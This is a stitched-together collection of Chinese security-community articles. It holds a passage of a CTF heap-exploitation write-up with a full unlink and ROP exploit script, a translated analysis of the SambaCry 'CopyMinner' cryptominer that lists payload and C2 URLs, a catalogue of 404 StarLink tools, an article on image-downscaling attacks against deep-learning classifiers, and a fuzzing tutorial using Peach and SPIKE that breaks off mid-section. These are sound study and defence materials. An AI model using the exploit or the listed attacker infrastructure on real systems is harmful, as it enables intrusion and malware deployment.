chunk0 - 0x18, chunk0 - 0x10 # fd = ptr0 - 0x18, bk = ptr0 - 0x10
)
add(3,0x408,payload)
add(4,0,flat(0,0,0x420,0x430))
delete(1)
堆中情况如下：
pwndbg> x/150gx 0x17e5290
0x17e5290: 0x0000000000000000 0x0000000000000411
0x17e52a0: 0x0000000000000000 0x0000000000000421 <-- fake chunk
0x17e52b0: 0x00000000004040d0 0x00000000004040d8
0x17e52c0: 0x0000000000000000 0x0000000000000000
0x17e52d0: 0x0000000000000000 0x0000000000000000
...
0x17e56a0: 0x0000000000000000 0x0000000000000021
0x17e56b0: 0x0000000000000000 0x0000000000000000
0x17e56c0: 0x0000000000000420 0x0000000000000430 <-- chunk1
0x17e56d0: 0x0000000000000031 0x0000000000000000
0x17e56e0: 0x0000000000000000 0x0000000000000000
unlink后，可以看到chunk0的指针指向0x4040d0，此使对chunk0进行edit，即可修改list，从而进行任意地址读写。
获得任意地址读写后，可以泄露各种地址，然后用劫持hook或者直接修改stack上返回地址都可以达到劫持程序流的目的。rop内容根据情况进行小修改即可。
完整EXP：
chunk0 = 0x4040E8
add(0,0x428,'0')
add(1,0x428,'1')
add(2,0x18,'2')
delete(0)
payload = flat( 0, 0x421,
chunk0 - 0x18, chunk0 - 0x10 # fd = ptr0 - 0x18, bk = ptr0 - 0x10
)
add(3,0x408,payload)
add(4,0,flat(0,0,0x420,0x430))
delete(1)
# leak libc address
edit(0,flat(0,0,0x428,0x4040d0,0x8,elf.got['printf']))
show(1)
libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - libc.sym['printf']
success(hex(libc.address))
# leak stack address
edit(0,flat(0,0,0x428,0x4040d0,0x8,libc.sym['environ']))
show(1)
ret_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 0x120
# rop
edit(0,flat(0,0,0x428,0x4040d0,0x400,ret_addr,'/etc/passwd\x00'))
rop = flat(
# openat(0,'/flag',0,0)
libc.address + 0x000000000004a550, # pop rax; ret;
0x101,
libc.address + 0x0000000000026b72, # pop rdi; ret;
0,
libc.address + 0x0000000000027529, # pop rsi; ret;
chunk0+0x18,
libc.address + 0x000000000011c371, # pop rdx; pop r12; ret;
0,
0,
libc.address + 0x0000000000066229, # syscall; ret;
# read(3,buf,0x100)
libc.address + 0x000000000004a550, # pop rax; ret;
0,
libc.address + 0x0000000000026b72, # pop rdi; ret;
3,
libc.address + 0x0000000000027529, # pop rsi; ret;
chunk0,
libc.address + 0x000000000011c371, # pop rdx; pop r12; ret;
0x100,
0,
libc.address + 0x0000000000066229, # syscall; ret;
# write(1,buf,0x100)
libc.address + 0x000000000004a550, # pop rax; ret;
1,
libc.address + 0x0000000000026b72, # pop rdi; ret;
1,
libc.address + 0x0000000000027529, # pop rsi; ret;
chunk0,
libc.address + 0x000000000011c371, # pop rdx; pop r12; ret;
0x100,
0,
libc.address + 0x0000000000066229, # syscall; ret;
)
edit(1,rop)
p.interactive()
## 总结
这题质量真不错，这种有多个漏洞的题目，非常适合传统的AWD比赛。 | 社区文章 |
# 【技术分享】二道贩子也能发财！犯罪分子正在模仿EternalMiner进行挖矿
|
##### 译文声明
本文是翻译文章，文章来源：intezer.com
原文地址：<http://www.intezer.com/eternalminer-copycats/>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：170RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**写在前面的话**
大概在八个星期之前，研究人员在Samba中发现了一个严重的安全漏洞，该漏洞提交之后不久便被成功修复，但值得一提的是，从2010年起的每一个Samba版本都存在这个漏洞。这个漏洞名叫“SambaCry”，在WannaCry席卷了全球的Windows系统（永恒之蓝的SMB漏洞利用部分）之后，SambaCry也浮出了水面。这个漏洞属于逻辑漏洞，它将允许只拥有写入权限的攻击者加载恶意Samba模块并执行任意代码。
**安全客小百科:Samba和SMB**
Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件，它由服务器端及客户端程序构成。而SMB（Server Messages
Block，即信息服务块）是一种在局域网上共享文件和打印机的一种通信协议，它可以为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。SMB协议是客户机/服务器型协议，客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。用户可以通过对“NetBIOS
over TCP/IP”进行配置来让Samba不但能与局域网内的主机分享资源，而且还能与整个互联网上的电脑分享资源。
就在针对该漏洞的POC代码首次发布之后，我立刻编写了一个可以匹配针对潜在Payload的Yara签名（规则），然后开始监测针对该漏洞的威胁信息。观察了一段时间之后，我们发现了无数的反向Shell以及恶意Payload
Dropper，其中绝大多数都是Metasploit Payload或其他一些公开可用的恶意代码植入。
在今年的六月九号，卡巴斯基实验室发布了一篇关于“[EternalMiner](https://securelist.com/sambacry-is-coming/78674/)”的文章，这是一款以经济利益为目的的加密货币挖矿恶意软件，它可以将目标用户的设备变成一台矿机，并利用受感染设备来为攻击者挖比特币之类的加密货币。不到一个星期之后，我们还发现了很多模仿这种操作模式的网络犯罪分子在改进了漏洞利用代码之后，能够更好地控制目标设备进行挖矿了。根据这种攻击的性质，我们决定将这种威胁取名为“CopyMinner”!
**1\. 概述**
正如我们之前所提到的那样，网络犯罪分子们正在改进原本的“EternalMiner”，并且使用更加高级的“CopyMinner”来实施攻击。这些攻击者会采用多种灵活的方法配合多台备份服务器来实现恶意软件的每日定期更新，这样不仅可以实现更加持久化的后门，而且还可以帮助攻击者更好地控制目标设备并充分利用目标用户的资源来为他们挖矿。这些网络犯罪分子们已经将原来的EternalMiner升级到了另一个境界，而且现在甚至还可以同时控制多台目标设备。在接下来的章节中，我们将会对下图中的每一个组件进行详细的分析，并分析CopyMiner和EternalMiner之间的区别。
**2.CopyMinner Dropper**
在今年的六月十四号，我们向VirusTotal提交了一个小型的Dropper样本。这个Dropper首先会执行其中的“samba_init_module”输出模块，然后尝试从攻击者所控制的后台服务器获取Payload，最后以root权限在目标设备的后台运行恶意代码。整个过程是通过一个经过混淆处理的硬编码bash代码完成的，具体如下图所示:
样本哈希：
444d0fae73e1221b81dc6c5d53cf087afa88248fc22ef36e756841ab04df24a
**3.Payload**
恶意Payload其实是一个非常短小精悍的Bash脚本，它需要依赖于目标设备的系统工具来完成以下三个主要任务：
（1）使用crontab命令完成恶意程序的每日定期更新，这个过程需要使用到三台不同的备份服务器：
<http://update.sdgndsfajfsdf.info/upd>
<http://update.sdgsafdsf.pw/upd2>
<http://update.omfg.pw/upd3>
（2）在后台下载并执行Tsunami后门以及CPUMiner。
（3）防止其他的攻击者攻击这台用户设备（修复smb.conf），目的是避免出现资源竞争的情况，因为挖矿需要消耗大量的计算资源。
我们还可以从其中一台在线服务器（http://update.sdgndsfajfsdf.info/upd）中获取到负责处理每日更新任务的脚本。但是看起来这个脚本是一个精简版本的Payload脚本，因为它缺少了每日更新补丁的安装功能：
**4.CPUMiner**
CPUMiner是一款开源的加密货币挖矿工具，它是命令行工具，支持多种加密货币和算法。从目前收集到的信息来看，攻击者貌似使用的是一款多线程的“CPUMiner”（c[puminer-multi](https://github.com/tpruvot/cpuminer-multi)），这个版本相比于EternalMiner之前使用的cpuminner挖矿效率要高得多。除此之外，相较于EternalMiner而言，这个升级版的样本可以在不需要任何命令行参数的情况下单独运行。启动之后，升级版的CPUMiner会自动登录到攻击者的私人矿池服务器（p.theywant[.]in:8080），而不是像EternalMiner一样登录到公共矿池服务器（xmr.crypto-pool[.]fr:3333）。
**5.Tsunami后门**
除了CPUMiner之外，Payload脚本还会从服务器下载并执行Tsunami后门（也叫Kaiten）。这是一种旧版本Linux后门，在此之前攻击者一般使用这种后门来感染[物联网设备](https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/)以及[OSX系统](https://www.welivesecurity.com/2011/10/25/linux-tsunami-hits-os-x/)。Tsunami后门的源代码现在已经开源了【[点我获取](https://dl.packetstormsecurity.net/irc/kaiten.c)】，任何人都可以随意使用并根据自己的需要来进行修改。这个样本（d8e93252f41e8b0d10cffa92923eeab94c6c42e8acc308e91340df102042c8c8）中嵌入有硬编码的C2
IRC服务器（asdgsd.uselesslongdomain[.]info），我们甚至还可以直接使用恶意软件中的硬编码凭证来登录这台IRC服务器。在下面这张图片中，你可以看到两个近期登录过该服务器的受害用户（拥有root访问权限）：
**6.迅速上线**
我们发现，这些用来托管Payload文件的后台主机和服务器所使用的域名都是在今年的六月十三号注册的，而第二天便有恶意CPUMiner以及Tsunami样本上传到了VirusTotal，也就是六月十四日，这也就意味着攻击者在原始的EternalMiner版本发布之后的四到五天时间里便开始了CopyMinner活动。
**7.入侵威胁指标IoC** | 社区文章 |
# 源海拾贝 | 404 StarLink Project：404星链计划二期
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
“404星链计划”是知道创宇404实验室于2020年8月开始的计划，旨在通过开源或者开放的方式，长期维护并推进涉及安全研究各个领域不同环节的工具化，就像星链一样，将立足于不同安全领域、不同安全环节的研究人员链接起来。
其中不仅限于突破安全壁垒的大型工具，也会包括涉及到优化日常使用体验的各种小工具，除了404自研的工具开放以外，也会不断收集安全研究、渗透测试过程中的痛点，希望能通过“404星链计划”改善安全圈内工具庞杂、水平层次不齐、开源无人维护的多种问题，营造一个更好更开放的安全工具促进与交流的技术氛围。
项目地址:
* <https://github.com/knownsec/404StarLink-Project>
## Contents
* Project
* [KunLun-M](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#kunlun-m)
* Kunlun-Mirror. Focus on white box tools used by security researchers
* [LBot](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#lbot)
* A simple xss bot template
* [ksubdomain](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#ksubdomain)
* the fastest subdomain enumeration tool
* [Zoomeye Tools](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#zoomeye-tools)
* the Chrome extension with Zoomeye
* [Pocsuite3](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#pocsuite3)
* pocsuite3 is an open-sourced remote vulnerability testing framework developed by the Knownsec 404 Team.
* [Zoomeye SDK](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#zoomeye-sdk)
* ZoomEye API SDK
* [wam](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#wam)
* WAM is a platform powered by Python to monitor “Web App”
* Minitools
* [bin_extractor](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#bin_extractor)
* A simple script for quickly mining sensitive information in binary files.
* [CookieTest](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#cookietest)
* A script used to quickly test APIs or required parameters and cookies for a certain request.
* [ipstatistics](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#ipstatistics)
* ipstatistics is a script based on the ipip library that is used to quickly filter the ip list.
* [cidrgen](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#cidrgen)
* cidrgen is based on cidr’s subnet IP list generator
## Project
该分类下主要聚合各类安全工具，偏向于可用性较高的完整项目。
### KunLun-M
**项目链接：**
<https://github.com/LoRexxar/Kunlun-M>
**项目简述：**
Kunlun-Mirror是从Cobra-W2.0发展而来，在经历了痛苦的维护改进原工具之后，昆仑镜将工具的发展重心放在安全研究员的使用上，将会围绕工具化使用不断改进使用体验。
目前工具主要支持php、javascript的语义分析，以及chrome ext, solidity的基础扫描.
KunLun-M可能是市面上唯一的开源并长期维护的自动化代码审计工具，希望开源工具可以推动白盒审计的发展:>.
### LBot
**项目链接：**
<https://github.com/knownsec/LBot>
**项目简述：**
XSS Bot是CTF比赛中出XSS的一大门槛，后端性能不够，环境处理不完善各种都会影响到Bot的每一环。
LBot是脱胎于爬虫的简单模板，配合相应的功能，可以方便快捷的完成一个成熟的Bot。
## Minitools
该分类下主要聚合各类安全研究过程中涉及到的小工具、脚本，旨在优化日常安全自动化的使用体验。
### bin_extractor
**项目链接：**
<https://github.com/knownsec/Minitools-bin_extractor>
**项目简述：**
一个简单的用于快速挖掘二进制文件中敏感信息的脚本。可以用来快速挖掘并验证二进制文件中的url链接等敏感信息。
### CookieTest
**项目链接：**
<https://github.com/knownsec/Minitools-CookieTest>
**项目简述：**
用于快速测试api或某个请求的必选参数、cookie的脚本。可以用来快速确认某个api的必选参数以便进一步测试渗透等. | 社区文章 |
# 对深度学习的降维攻击 — 人工智能系统数据流中的安全风险
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
深度学习在很多领域受到广泛关注。 尤其在图形图像领域里，人脸识别和自动驾驶等应用正在逐渐进入我们的生活。 深度学习的流行与普及也自然带来了安全方面的考虑。
目前对深度学习的安全讨论包括深度学习平台中发现的漏洞，深度学习模型中隐藏的错误，还有对深度学习系统的逃逸攻击。
近期，360
安全团队发现在深度学习的数据处理流程中，同样存在安全风险。攻击者在不利用平台软件实现漏洞或机器学习模型弱点的情况下，只利用深度学习数据流中的处理问题，就可以实现逃逸或数据污染攻击。
## 攻击实例
以深度学习图片识别应用为攻击目标， 我们用几个例子来介绍降维攻击的效果。
先从一张图片开始。下面这张图片里面是什么？ 看起来大概是著名的灰太狼吧 。。。
但我告诉你，现有的深度学习应用会对这个图片做出错误判断。
深度学习应用看到的图片是 喜羊羊！
开玩笑吧？ 深度学习系统会分不出灰太狼和喜羊羊？你们搞安全的就知道糊弄人。
真的不是开玩笑。 由于深度学习系统的分析结果取决于模型的质量，培训数据的数量。
经典的深度学习应用没有对卡通图片进行训练。所以我们决定用自然界场景的图片试试。
下面这个图应该是羊群的照片吧。 我们把这张图片送到深度学习图片识别应用程序里，看看深度学习系统会怎么说。
这里我们用的程序来自Caffe平台自带的经典图片识别应用例子，识别所用的神经元网络是由谷歌发布的GoogleNet，数据来自著名的ImageNet
比赛，模型是由伯克利用谷歌的模型加上ImageNet的数据培训的。这个平台的识别能力大家没有疑问吧。
Caffe的深度学习应用认为上面的图片是 狼 ！ （图片识别程序输出如下。 TensorFlow 的例子结果也是狼！）
再看一个例子。 下面这张图，还是羊，人来看应该是一只小羊。
那么在机器学习系统里它会被认成什么呢？
Caffe的机器学习应用会把这一张认为是猫，具体讲属于ImageNet里的猞猁猫！
其它平台TensorFlow，Torch等流行的图片识别应用也是这样。
为什么会是这样？ 深度学习的训练模型没有错。问题出在深度学习应用的数据流处理上。
## 降维攻击原理
我们在前一段时间讨论过关于深度学习的逃逸攻击，主要介绍了各种让机器学习系统做出错误判别的方法。
目前学术界对深度学习逃逸攻击的研究大多集中在对抗样本生成的方法，通过各种算法在图片上生成扰动，从而导致深度学习系统的误判。
这篇文章提到的降维攻击没有使用传统的对抗样本生成策略。 降维攻击是对深度学习应用的数据流处理进行了攻击。
深度学习系统的核心是神经元网络。 深度学习所使用的静态神经元网络往往假定它的输入是一个固定的维度，这样便于设计深度神经元网络。
固定的维度带来的问题是：实际的输入并不一定与神经元网络模型输入用相同的维度。
解决这种维度不匹配的方法有两个，一个是要求所有的输入都必须是模型使用的维度，其它输入一概扔掉。
另外一个选择是对输入进行维度调整。对于试图对广泛图片进行识别的应用里，大多采用了第二种方法。在具体图像识别应用里，就是把大的输入图片进行维度缩减，小的图片进行维度放大。
下图为一个典型的深度学习应用的数据流处理过程。
【 深度学习应用的数据流程图 】
维度变化的结果是，深度学习模型真正用到的数据是维度变化过的图片。
维度变化的算法有很多种，常用的包括最近点抽取，双线性插值等。这些算法的目的是在对图片降维的同时尽量保持图片原有的样子。
但是这些常用的降维算法没有考虑恶意构造的输入。上面的两个攻击图片例子都是针对最常用的双线性插值构造的恶意攻击样本。
我们用下面的图片展示人看到的图片和深度学习真正看到的图片 （左边一列是原始输入，右边是深度学习系统后端模型认为的输入）。
图片左边是对深度学习应用的输入图片，右边是降维后的图片。 羊群图片经过缩减，就会变成一只雪地里的白狼。 卡通小羊的图片也就变成了可爱小猫的图片。
当然这些输入图片是经过特殊处理构造的，专门让降维函数出现这种异常的结果。
基于这个攻击思路，我们也对其它深度学习应用进行了测试。 例如著名的深度学习教科书案例 MINST
手写数字识别，我们可以成功生成对人很清楚的数字，但会被深度学习系统误识别的图片。下面显示了四组图片。
每一组中，左边是对应用的输入，也就是人看到的图片；右边是人看不到，但是被机器学习模型最后处理的图片。
这样的图片变化，造成深度学习系统出现错误识别应该不难理解。
## 降维攻击影响范围及防范手段
降维攻击会影响到使用维度调整的深度学习系统。 著名的深度学习平台，包括TensorFlow，Caffe，Torch都提供维度调整函数供深度学习应用程序使用。
下面的表格里展示了常用深度学习框架中使用的维度调整算法。使用这些算法的程序都可能受到降维攻击的影响。
根据我们的初步分析，几乎所有网上流行的深度学习图片识别程序都有被降维攻击的风险。
对于降维攻击的防范，用户可以采用对超出异常的图片进行过滤，对降维前后的图片进行比对，以及采用更加健壮的降维算法等。
## 小结
本文的目的是继续介绍被大众所忽视的人工智能安全问题。降维攻击是对深度学习的数据流进行攻击的一种新型攻击方法，主要影响对任意图片进行识别的深度学习应用程序。
我们希望通过这些工作提醒公众，在拥抱人工智能热潮的同时，需要持续关注深度学习系统中的安全问题。我们未来会在后续文章中对人工智能的安全问题继续更新。
## 参考文献
【1】对深度学习的逃逸攻击 — 探究人工智能系统中的安全盲区
<http://blogs.360.cn/blog/evasion-attacks-on-ai-system/>
【2】深度学习框架中的魔鬼 — 探究人工智能系统中的安全问题
<http://blogs.360.cn/blog/devils-in-the-deep-learning-framework/>
【3】Weilin Xu, Yanjun Qi, and David Evans, “Automatically Evading Classifiers A
Case Study on PDF Malware Classifiers”, NDSS, 2016 | 社区文章 |
# 漏洞挖掘之乱拳打死老师傅——Fuzzer
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
Fuzzer是一种通过产生一系列非法的、非预期的或者随机的输入向量给目标程序，从而完成自动化的触发和挖掘目标程序中的安全漏洞的软件测试技术。相比于形式化的软件漏洞测试技术（比如，[符号执行技术](https://www.anquanke.com/post/id/157928)
），Fuzzer往往能够在实际的应用中挖掘更多的漏洞。形式化的漏洞挖掘技术的优势在于其不需要实际执行程序，然而在处理程序底层的某些操作（比如函数的虚指针）时，现有的符号执行技术往往不能做到精准的分析。因此，这两种技术在实际的应用中各有优劣。
一个形象的Fuzzer例子就比如下面让一个猴子去测试应用程序。通过让它胡乱点击电脑的键盘或者移动鼠标，产生不在预期内的输入，从而发现目标程序的bug。（Android应用测试中的Monkey测试也是类似的，它通过胡乱点击Android手机上所有可见的控件，进行压力测试，当Android应用出现闪退或者不能响应的问题时，bug也就发现了）
漏洞测试猿（盗图自：[参考](http://pascada.de/lasst-die-affen-testen-monkey-testing-in-der-ui-testautomatisierung/)）
可以发现，完成一个Fuzzer的过程，包括：一只猴子（fuzzer 输入构造模块）、一个可以运行的程序以及崩溃的程序捕捉（fuzzer的错误反馈与捕捉）。
## 基于变种的Fuzzer（Mutation-based）
上面的Fuzzer方式虽然能够发现一些错误，但是由于猴子产生的输入实在太过随机，大部分的输入都是不合法的，这些不合法的数据往往会被目标程序识别而丢弃（比如，对于不符合通信协议规范的数据包，接收方会直接过滤掉）。因此，这种测试方式的实际效率是很低的。为了解决这个问题，一种Fuzzer被提出来：基于变种的Fuzzer（mutation-based
fuzzer）。它的关键在于变种。同样是产生非预期的输入，基于变种的Fuzzer不再是胡乱的产生输入，而是在已知合法的输入的基础上，对该输入进行随机变种或者依据某种经验性的变种，从而产生不可预期的测试输入。典型的工具有：[Taof](https://sourceforge.net/projects/taof/),
[GPF](https://www.ee.oulu.fi/roles/ouspg/GPF),
[ProxyFuzz](https://www.darknet.org.uk/2007/06/proxyfuzz-mitm-network-fuzzer-in-python/), [Peach Fuzzer](http://www.peach.tech/resources/peachcommunity/)。
比如，如果打算使用Peach
Fuzzer中的mutation功能来fuzz一个PNG图片的绘图器（windows里面的mspaint，Linux里面的feh,OSX里面的Safari），就有以下的大致流程。
一个PNG图片的典型格式如下：
一个PNG的图片总是以上述的一串固定字节开始的。其中0x89超出了ASCII字符的范围，这是为了避免某些软件将PNG文件当做文本文件来处理。文件中剩余的部分由3个以上的PNG的数据块（Chunk）按照特定的顺序组成。
在拿到了多张合法的PNG图片之后，Peach
Fuzzer中一种最简单的变种方式就是随机置换模式（random）。即，将除了头部PNG标志以外的数据，将其他位置的数据进行随机的变换。根据上述需求，Peach
Fuzzer的一种典型的配置文件可以按照下面的方式撰写：
---png.xml--- <Test name="Default">
<Agent ref="WinAgent" platform="windows"/>
<StateModel ref="TheState"/>
<Publisher class="File">
<Param name="FileName" value="fuzzed.png"/>
</Publisher>
<Strategy class="Random"/>
<Logger class="Filesystem">
<Param name="Path" value="logs" />
</Logger>
</Test>
其中，agent 标签中可以进一步配置执行的程序以及导入的参数，比如：
<Param name="CommandLine" value="mspaint.exe fuzzed.png" />
mspaint.exe是windows下面的绘图程序，fuzzed.png是变种之后的png图片。可以在上述配置文件中看到在标签Publisher中设置了变种之后的文件名称为fuzzed.png。
标签StateModel中定义的是一些与PNG测试相关的参数，比如，设置合法输入的文件路径：
<Data name="data" fileName="samples_png/*.png"/>
其中，文件夹samples_png下面放置的都是合法的png图片，之后的变种测试文件都是基于这个目录下面的文件而来的。
标签Strategy就是设置变种的策略为随机的模式（random）。
标签Logger里面定义的是发现错误或者bug时信息记录的位置。
最后，使用下面的命令就可以利用Peach Fuzzer进行PNG的绘图工具测试了：
peach png.xml
## 基于模板的Fuzzer（Generation-based）
可以发现，基于变种的Fuzzer对于合法的输入集合有较强的依赖性。为了能够测试尽可能多的输入类型，必须要有足够丰富类型的合法输入，以及花样够多的变种方式。想要花样足够多的变种方式都被测试一遍，将会花费较多的测试时间。如果测试人员对目标程序或者协议已经有了较为充分的了解，那么也有可能制造出更为高效的Fuzzer工具。即，测试的目的性更强，输入的类型有意识的多样化，将有可能更快速的挖掘到漏洞。这类方法的名称叫做基于模板的Fuzzer（Generation-based）。正如其名，此类Fuzzer工具的输入数据，依赖于安全人员结合自己的知识，给出输入数据的模板，构造丰富的输入测试数据。
典型的工具有：[SPIKE](https://github.com/guilhermeferreira/spikepp),
[Sulley](https://github.com/OpenRCE/sulley), Mu‐4000, Codenomicon，等等。
下面我们就以fuzz一个刻意构造的具有的漏洞的windows程序，来解释一下基于模板fuzz的过程。
可运行的目标程序：[vulnserver](https://github.com/stephenbradshaw/vulnserver)。
这是一个基于windows的带有漏洞的程序。(它包括主程序和dll程序，两个得放在一个目录下面才可以。)
聪明一点的猴子：SPIKE。
反馈消息捕获：利用OD，wireshark等工具。
在配置和安装SPIKE的时候，可能会出现无法找到aclocal-1.1x的问题，那么就执行下面的命令：[参考](https://stackoverflow.com/questions/33278928/how-to-overcome-aclocal-1-15-is-missing-on-your-system-warning-when-compilin)
autoreconf -f -i.
然后再：
./configure && make
一个典型的POST请求格式如下面所示：
POST /testme.php HTTP/1.1
User-Agent: Mozilla/4.0
Host: testserver.example.com
Content-Length: 256
Connection: close
inputvar=admin
根据已有的工作对[vulnserver的分析](https://resources.infosecinstitute.com/intro-to-fuzzing/#gref)，可以发现其中可以fuzz的字段如下面所示：
[fuzzable] [fuzzable] HTTP/1.1
User-Agent: [fuzzable]
Host: [fuzzable]
Content-Length: [fuzzable]
Connection: [fuzzable]
inputvar=[fuzzable]
那么，根据上面分析的潜在的fuzz输入点，可以利用SPIKE构造测试脚本了。以testme.php为例子的话，可以构造下面的脚本：
//vul.spk
s_string("POST /testme.php HTTP/1.1rn");
s_string("Host: testserver.example.comrn");
s_string("User-Agent: ");
s_string_variable("Mozilla/4.0");
s_string("Content-Length: ");
s_blocksize_string("block1", 5); // [正统的fuzz方式]增加一个5字符长度的内容来表示后面用block包含起来的payload长度。
//s_string_variable("200"); //[可选的fuzz方式]，对content-length进行任意的fuzz
s_string("rnConnection: closernrn");
s_block_start("block1");
s_string("inputvar=");
s_string_variable ("abcdefg");
s_block_end("block1");
这里解释一下上面的脚本语法。
s_string()是利用SPIKE产生一个固定的字符串，用这个语法，表示SPIKE不会改变这个字符串的内容。
s_string_variable()表示SPIKE可以改变这个位置的字符串内容。比如：
s_string("CDF");
s_string_variable ("666");
运行出来的结果是：
CDF666
CDF667
每次变化的是后面的666，前面的CDF是不会变化的。
s_blocksize_string(‘blockx’)表示会自动计算后面的用blockx标记的块中的字符串长度大小，这个语法经常用来统计content-length里面。从上面的脚本中也可以发现，也可以不利用这个语法，而是直接利用s_string_variable()来对于目标的长度也进行任意的测试。
s_block_start(“block1”);和s_block_end(“block1”);表示一个数据块的开始和结束。这个里面的内容，可以被s_blocksize_string()用来统计长度。
接下来，当在目标主机上开启了vulnserver.exe之后，就可以在攻击主机上运行下面的命令来进行fuzz了：
generic_send_tcp 192.168.1.121 9999 vul.spk 0 0
其中generic_send_tcp是在编译了SPIKE之后的一个常用的发送POST请求的工具。它的用法是这样的：
./generic_send_tcp ip port something.spk SKIPVAR SKIPSTR
SKIPVAR表示选择第几个s_string_variable开始进行变种测试。这种设置可以使得前面已经测试过的位置不在重复测试。比如，我们上面的vul.spk有两个s_string_variable。
SKIPSTR表示从s_string_variable的第几个字符开始变种测试。比如第一个s_string_variable是Mozilla/4.0，偏移为1的话，就是从o开始变种测试。
测试启动之后，应该有下面类似的结果：
在被测试的目标主机上，可能会有这样类似的结果：
接着，通过在wireshark上观察造成这种结果的数据包，来逆推造成程序崩溃的输入。再利用OD等调试工具来确认vulnserver.exe中出现漏洞的实际位置，从而分析原因。
## 基于反馈演进的Fuzzer（Evolutionary-based）
然而，不论是上面的变种Fuzzer还是模板Fuzzer，仍然会面临挖洞效率低的问题。对于变种测试，由于依赖基础的合法输入，那么到底选择多少合法输入才能穷尽的覆盖到尽可能多的测试点呢？对于模板测试，Fuzzer会按照我们设定好的测试点尝试之后停止，但是，这样就足够了吗，这样就能够真正的覆盖到所有的测试点了吗？
可以发现，我们在使用上面两种fuzzer的时候，脑海里面始终会想起一个问题：这样的脚本/随机化的处理方法，真的能够穷尽的fuzz到所有的地方了吗？这便引出了fuzz工具里面一个经典的问题，fuzz的覆盖率问题。简单来说，我们一种指标来衡量，fuzz工具是不是真正的覆盖到了我们想要覆盖的所有范围。当然，有时候，覆盖所有的范围将会消耗的时间，这就需要测试人员来权衡时间和覆盖率了。这就引出了新的一类方式，基于反馈演进的Fuzzer。即，此类Fuzzer会实时的记录当前对于目标程序测试的覆盖程度，从而调整自己的fuzzing输入。听起来是不是更加智能了？^_^
其中，程序的覆盖率是一个此类方法的核心。目前，有以下几个代码覆盖率指标在演进模糊测试里面会经常碰到：
A. 路径覆盖率。（可以有类似的利用BL算法的路径标记和压缩算法。）
B. 分支覆盖率。
C. 代码行覆盖率。
比如下面的例子：
If( a> 2)
a=2;
if (b > 2)
b=2;
else
a=3;b=4;
多少个测试数据集可以覆盖100%的代码行？——2个数据集（a=3,b=3; a=3,b=2）
多少个测试数据集可以覆盖100%的分支？——4个数据集（a=3,b=3; a=1, b=3; a=3,b=2; a=1,b=2）
多少个测试数据集可以覆盖100%的路径？—— 4个数据集（a=3,b=3; a=1, b=3; a=3,b=2; a=1,b=2）
其中，比较常见的指标是分支和路径的覆盖率。根据上面的定义，我们想要获得程序测试的反馈，得要对原有的程序进行注入，追踪程序执行了哪些分支或者路径，在和整个程序包含的所有分支或者路径相比较，从而调整fuzz的输入。
### 基于追踪路径覆盖率的方法
比如，我们仍然以上面的例子来解释的话，最简单的方法就是在每个代码块中注入，最终输出全部的路径。我们以产生分支条件来区分不同的代码块，那么就有如下的代码块切分方式以及程序注入方式：
上图中，白色的下划线为注入的打印log，用来记录执行的路径。
因此，当输入为a=3,b=3的时候，输出的路径为：ABDCFG
当循环变多以后，输出的路径会很长，不利于高效率的比较。因此，后来又许多的路径编码的算法，将上述的路径编码为某个数字。比如下面的方法，取自[PAP](https://www.sciencedirect.com/science/article/pii/S0164121212000349)，即profile
all path：
PAP的思想就是，看看每个具有多个入度的代码块。有n条入度，则在每个入度的边上注入语句r=r*n+n%i;
其中i就是第i入度边。通过这种余数的方式来区分不同的边，通过不断的乘以n来区分不同的条件分支或者循环分支。
比如代码块C，它有从if条件语句过来的两条入度，a>2或者a<=2。假设有两个入度，那么就就注入了两条语句r=r*2以及r=r*2+1。为了能够区分if(a>2)这个语句的分支，我们增加了一个垃圾模块，即把原来的语句改造成了：
If(a>2){ a=2;
r=r*2+1;
}else{ //垃圾模块
r=r*2;
}
同样的例子，当输入为a=3,b=3的时候，输出的数字为3，对应的路径为：ABDCFG。
通过仅仅比较数字的大小就知道哪些路径已经执行了，这是非常有利于提高效率的。除了PAP方法，在更早的时候，还有一种方法，它能够将路径进行更好的压缩，比如B.L.。假设总共有m条路径，那么它可以将路径压缩为[0,n-1].
笔者曾经实现过一个针对Android
smali语言的[全路径追踪算法](https://blog.csdn.net/ls1160/article/details/38962533)。即通过对smali文件进行代码注入的方式，追踪Android程序执行了哪些路径。路径执行完之后，会得到一个数字，该数字即对应着一个路径。该项目是早期写的，基于的算法是[B.L.]
([https://www.cs.purdue.edu/homes/xyzhang/spring10/epp.pdf)。感兴趣的同学可以看看相关的参考资料。](https://www.cs.purdue.edu/homes/xyzhang/spring10/epp.pdf\)%E3%80%82%E6%84%9F%E5%85%B4%E8%B6%A3%E7%9A%84%E5%90%8C%E5%AD%A6%E5%8F%AF%E4%BB%A5%E7%9C%8B%E7%9C%8B%E7%9B%B8%E5%85%B3%E7%9A%84%E5%8F%82%E8%80%83%E8%B5%84%E6%96%99%E3%80%82)
### 基于分支覆盖率的方法
